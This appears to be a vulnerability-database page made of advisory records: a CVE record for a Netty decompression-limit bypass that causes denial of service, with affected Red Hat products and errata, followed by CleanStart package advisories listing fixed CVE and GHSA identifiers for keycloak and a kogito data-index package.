\"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:satellite:6\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Satellite 6\", \"packageName\": \"candlepin\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:satellite:6\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Satellite 6\", \"packageName\": \"satellite:el8/candlepin\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_single_sign_on:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Single Sign-On 7\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_single_sign_on:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Single Sign-On 7\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_streams:2\"], \"vendor\": \"Red Hat\", \"product\": \"streams for Apache Kafka 2\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_streams:3\"], \"vendor\": \"Red Hat\", \"product\": \"streams for Apache Kafka 3\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_streams:3\"], \"vendor\": \"Red Hat\", \"product\": \"streams for Apache Kafka 3\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}], \"timeline\": [{\"lang\": \"en\", \"time\": \"2026-05-13T19:01:35.415Z\", \"value\": \"Reported to Red Hat.\"}, {\"lang\": \"en\", \"time\": \"2026-05-13T18:22:21.699Z\", \"value\": \"Made public.\"}], \"solutions\": [{\"lang\": \"en\", \"value\": \"RHSA-2026:53644: Red Hat JBoss EAP 7.4 ELS for RHEL 7 Server\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:28010: Cryostat 4 on RHEL 9\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:41951: Red Hat Data Grid 8.6.2\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:53806: Red Hat JBoss Enterprise Application Platform 7.4.25\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:50085: Red Hat JBoss Enterprise Application Platform 8.1\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:42644: Red Hat OpenShift AI 2.25\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:25123: Red Hat OpenShift Dev Spaces 3.28\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:36820: Red Hat OpenShift Dev Spaces 3.29\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:37390: Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:23808: Red Hat build of Quarkus 3.27.4\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:24502: Red Hat build of Quarkus 3.33.2\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:34608: Streams for Apache Kafka 2.9.4\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:54435: Streams for Apache Kafka 3.2.1\"}], \"x_adpType\": \"supplier\", \"datePublic\": \"2026-05-13T18:22:21.699Z\", \"references\": [{\"url\": \"https://access.redhat.com/security/cve/CVE-2026-42587\", \"tags\": [\"vdb-entry\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://bugzilla.redhat.com/show_bug.cgi?id=2477220\", \"name\": \"RHBZ#2477220\", \"tags\": [\"issue-tracking\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42587.json\", \"tags\": [\"x_sadp-csaf-vex\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:53644\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:28010\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:41951\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:53806\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:50085\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:42644\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:25123\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:36820\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:37390\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:23808\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:24502\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:34608\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:54435\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}], \"workarounds\": [{\"lang\": \"en\", \"value\": \"Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.\"}], \"x_generator\": {\"engine\": \"sadp-cli 1.0.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli (br), Zstandard (zstd), or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an out-of-memory Denial of Service (DoS) for the affected system.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-770\", \"description\": \"Allocation of Resources Without Limits or Throttling\"}]}], \"providerMetadata\": {\"orgId\": \"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\", \"shortName\": \"redhat-SADP\", \"dateUpdated\": \"2026-08-13T12:04:31.543Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-42587\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-05-13T18:43:31.138358Z\"}}}], \"references\": [{\"url\": \"https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-05-13T18:43:47.099Z\"}}], \"cna\": {\"title\": \"Netty: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS\", \"source\": {\"advisory\": \"GHSA-f6hv-jmp6-3vwv\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"netty\", \"product\": \"netty\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final\"}, {\"status\": \"affected\", \"version\": \"\u003c 4.1.133.Final\"}]}, {\"vendor\": \"io.netty\", \"product\": \"netty-codec-http\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final\"}, {\"status\": \"affected\", \"version\": \"\u003c 4.1.133.Final\"}]}, {\"vendor\": \"io.netty\", \"product\": \"netty-codec-http2\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final\"}, {\"status\": \"affected\", \"version\": \"\u003c 4.1.133.Final\"}]}], \"references\": [{\"url\": \"https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv\", \"name\": \"https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv\", \"tags\": [\"x_refsource_CONFIRM\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-400\", \"description\": \"CWE-400: Uncontrolled Resource Consumption\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-05-13T18:22:21.699Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-42587\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-13T12:04:31.543Z\", \"dateReserved\": \"2026-04-28T17:26:12.086Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-05-13T18:22:21.699Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
cleanstart-2026-yy96069
Vulnerability from cleanstart
Published
2026-07-21 08:30
Modified
2026-07-03 09:44
Summary
Security fixes for CVE-2025-59250, CVE-2026-0636, CVE-2026-33870, CVE-2026-33871, CVE-2026-39852, CVE-2026-41417, CVE-2026-42198, CVE-2026-42577, CVE-2026-42578, CVE-2026-42579, CVE-2026-42580, CVE-2026-42581, CVE-2026-42583, CVE-2026-42584, CVE-2026-42585, CVE-2026-42587, CVE-2026-44249, CVE-2026-44893, CVE-2026-45416, CVE-2026-45536, CVE-2026-45673, CVE-2026-45674, CVE-2026-47244, CVE-2026-47691, CVE-2026-48043, CVE-2026-48059, CVE-2026-50010, CVE-2026-50020, CVE-2026-50560, CVE-2026-5588, CVE-2026-5598, ghsa-3qp7-7mw8-wx86, ghsa-563q-j3cm-6jxm, ghsa-5pvg-856g-cp85, ghsa-5x3r-wrvg-rp6q, ghsa-676x-f7gg-47vc, ghsa-72hv-8253-57qq, ghsa-98qh-xjc8-98pq, ghsa-c2gf-v879-257j, ghsa-c3fc-8qff-9hwx, ghsa-c653-97m9-rcg9, ghsa-cc37-9q2j-3hfv, ghsa-h2qv-fj59-j46j, ghsa-hvcg-qmg6-jm4c, ghsa-p93r-85wp-75v3, ghsa-pwqr-wmgm-9rr8, ghsa-rc95-pcm8-65v9, ghsa-v8h7-rr48-vmmv, ghsa-w573-9ffj-6ff9, ghsa-w9fj-cfpg-grvv, ghsa-wg6q-6289-32hp, ghsa-x4gw-5cx5-pgmh, ghsa-xmv7-r254-6q78 applied in versions: 26.5.6-r3, 26.6.1-r1, 26.6.3-r2
Details
Multiple security vulnerabilities affect the keycloak package. These issues are resolved in later releases. See references for individual vulnerability details.
References
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "keycloak"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.6.3-r2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the keycloak package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-YY96069",
"modified": "2026-07-03T09:44:40Z",
"published": "2026-07-21T08:30:17.774242Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-YY96069.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-59250"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-0636"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33870"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33871"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-39852"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41417"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42198"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42577"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42578"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42579"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42580"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42581"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42583"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42584"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42585"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42587"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44249"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44893"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-45416"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-45536"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-45673"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-45674"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-47244"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-47691"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-48043"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-48059"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-50010"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-50020"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-50560"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-5588"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-5598"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3qp7-7mw8-wx86"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-563q-j3cm-6jxm"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5pvg-856g-cp85"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5x3r-wrvg-rp6q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-676x-f7gg-47vc"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-98qh-xjc8-98pq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-c2gf-v879-257j"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-c3fc-8qff-9hwx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-c653-97m9-rcg9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-cc37-9q2j-3hfv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-h2qv-fj59-j46j"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-hvcg-qmg6-jm4c"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-p93r-85wp-75v3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pwqr-wmgm-9rr8"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rc95-pcm8-65v9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-v8h7-rr48-vmmv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w573-9ffj-6ff9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w9fj-cfpg-grvv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-wg6q-6289-32hp"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-x4gw-5cx5-pgmh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xmv7-r254-6q78"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59250"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0636"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39852"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41417"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42198"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42577"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42580"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44249"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44893"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45416"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45536"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45673"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45674"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47244"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47691"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48043"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48059"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50010"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50020"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50560"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5588"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5598"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2025-59250, CVE-2026-0636, CVE-2026-33870, CVE-2026-33871, CVE-2026-39852, CVE-2026-41417, CVE-2026-42198, CVE-2026-42577, CVE-2026-42578, CVE-2026-42579, CVE-2026-42580, CVE-2026-42581, CVE-2026-42583, CVE-2026-42584, CVE-2026-42585, CVE-2026-42587, CVE-2026-44249, CVE-2026-44893, CVE-2026-45416, CVE-2026-45536, CVE-2026-45673, CVE-2026-45674, CVE-2026-47244, CVE-2026-47691, CVE-2026-48043, CVE-2026-48059, CVE-2026-50010, CVE-2026-50020, CVE-2026-50560, CVE-2026-5588, CVE-2026-5598, ghsa-3qp7-7mw8-wx86, ghsa-563q-j3cm-6jxm, ghsa-5pvg-856g-cp85, ghsa-5x3r-wrvg-rp6q, ghsa-676x-f7gg-47vc, ghsa-72hv-8253-57qq, ghsa-98qh-xjc8-98pq, ghsa-c2gf-v879-257j, ghsa-c3fc-8qff-9hwx, ghsa-c653-97m9-rcg9, ghsa-cc37-9q2j-3hfv, ghsa-h2qv-fj59-j46j, ghsa-hvcg-qmg6-jm4c, ghsa-p93r-85wp-75v3, ghsa-pwqr-wmgm-9rr8, ghsa-rc95-pcm8-65v9, ghsa-v8h7-rr48-vmmv, ghsa-w573-9ffj-6ff9, ghsa-w9fj-cfpg-grvv, ghsa-wg6q-6289-32hp, ghsa-x4gw-5cx5-pgmh, ghsa-xmv7-r254-6q78 applied in versions: 26.5.6-r3, 26.6.1-r1, 26.6.3-r2",
"upstream": [
"CVE-2025-59250",
"CVE-2026-0636",
"CVE-2026-33870",
"CVE-2026-33871",
"CVE-2026-39852",
"CVE-2026-41417",
"CVE-2026-42198",
"CVE-2026-42577",
"CVE-2026-42578",
"CVE-2026-42579",
"CVE-2026-42580",
"CVE-2026-42581",
"CVE-2026-42583",
"CVE-2026-42584",
"CVE-2026-42585",
"CVE-2026-42587",
"CVE-2026-44249",
"CVE-2026-44893",
"CVE-2026-45416",
"CVE-2026-45536",
"CVE-2026-45673",
"CVE-2026-45674",
"CVE-2026-47244",
"CVE-2026-47691",
"CVE-2026-48043",
"CVE-2026-48059",
"CVE-2026-50010",
"CVE-2026-50020",
"CVE-2026-50560",
"CVE-2026-5588",
"CVE-2026-5598",
"ghsa-3qp7-7mw8-wx86",
"ghsa-563q-j3cm-6jxm",
"ghsa-5pvg-856g-cp85",
"ghsa-5x3r-wrvg-rp6q",
"ghsa-676x-f7gg-47vc",
"ghsa-72hv-8253-57qq",
"ghsa-98qh-xjc8-98pq",
"ghsa-c2gf-v879-257j",
"ghsa-c3fc-8qff-9hwx",
"ghsa-c653-97m9-rcg9",
"ghsa-cc37-9q2j-3hfv",
"ghsa-h2qv-fj59-j46j",
"ghsa-hvcg-qmg6-jm4c",
"ghsa-p93r-85wp-75v3",
"ghsa-pwqr-wmgm-9rr8",
"ghsa-rc95-pcm8-65v9",
"ghsa-v8h7-rr48-vmmv",
"ghsa-w573-9ffj-6ff9",
"ghsa-w9fj-cfpg-grvv",
"ghsa-wg6q-6289-32hp",
"ghsa-x4gw-5cx5-pgmh",
"ghsa-xmv7-r254-6q78"
]
}
cleanstart-2026-zy67243
Vulnerability from cleanstart
Published
2026-07-30 07:10
Modified
2026-07-30 09:29
Summary
Security fixes in incubator-kie-kogito-data-index-ephemeral 10.1.0-r1
Details
Package incubator-kie-kogito-data-index-ephemeral version 10.1.0-r1 fixes 43 vulnerabilities: CVE-2025-11965, CVE-2025-11966, CVE-2025-2240, CVE-2025-48924, CVE-2025-49574...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "incubator-kie-kogito-data-index-ephemeral"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.1.0-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"10.1.0-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package incubator-kie-kogito-data-index-ephemeral version 10.1.0-r1 fixes 43 vulnerabilities: CVE-2025-11965, CVE-2025-11966, CVE-2025-2240, CVE-2025-48924, CVE-2025-49574...",
"id": "CLEANSTART-2026-ZY67243",
"modified": "2026-07-30T09:29:43Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://kie.apache.org"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in incubator-kie-kogito-data-index-ephemeral 10.1.0-r1",
"upstream": [
"CVE-2025-11965",
"CVE-2025-11966",
"CVE-2025-2240",
"CVE-2025-48924",
"CVE-2025-49574",
"CVE-2025-55163",
"CVE-2025-58056",
"CVE-2025-58057",
"CVE-2025-67735",
"CVE-2026-1002",
"CVE-2026-33870",
"CVE-2026-33871",
"CVE-2026-41417",
"CVE-2026-42578",
"CVE-2026-42579",
"CVE-2026-42580",
"CVE-2026-42581",
"CVE-2026-42583",
"CVE-2026-42584",
"CVE-2026-42585",
"CVE-2026-42587",
"ghsa-38f8-5428-x5cv",
"ghsa-3p8m-j85q-pgmj",
"ghsa-45p5-v273-3qqr",
"ghsa-45q3-82m4-75jr",
"ghsa-57rv-r2g8-2cj3",
"ghsa-72hv-8253-57qq",
"ghsa-84h7-rjj3-6jx4",
"ghsa-9623-mj7j-p9v4",
"ghsa-cm33-6792-r9fm",
"ghsa-cphf-4846-3xx9",
"ghsa-f6hv-jmp6-3vwv",
"ghsa-fghv-69vj-qj49",
"ghsa-gfh6-3pqw-x2j4",
"ghsa-h5fg-jpgr-rv9c",
"ghsa-j288-q9x7-2f5v",
"ghsa-m4cv-j2px-7723",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-prj3-ccx8-p6x4",
"ghsa-pwqr-wmgm-9rr8",
"ghsa-v8h7-rr48-vmmv",
"ghsa-w9fj-cfpg-grvv",
"ghsa-xxqh-mfjm-7mv9"
]
}
FKIE_CVE-2026-42587
Vulnerability from fkie_nvd - Published: 2026-05-13 19:17 - Updated: 2026-08-13 13:18
Severity
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
References
| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv | Exploit, Mitigation, Vendor Advisory | |
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:23808 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:24502 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:25123 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:28010 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:34608 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:36820 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:37390 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:41951 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:42644 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:50085 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:53644 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:53806 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:54435 | ||
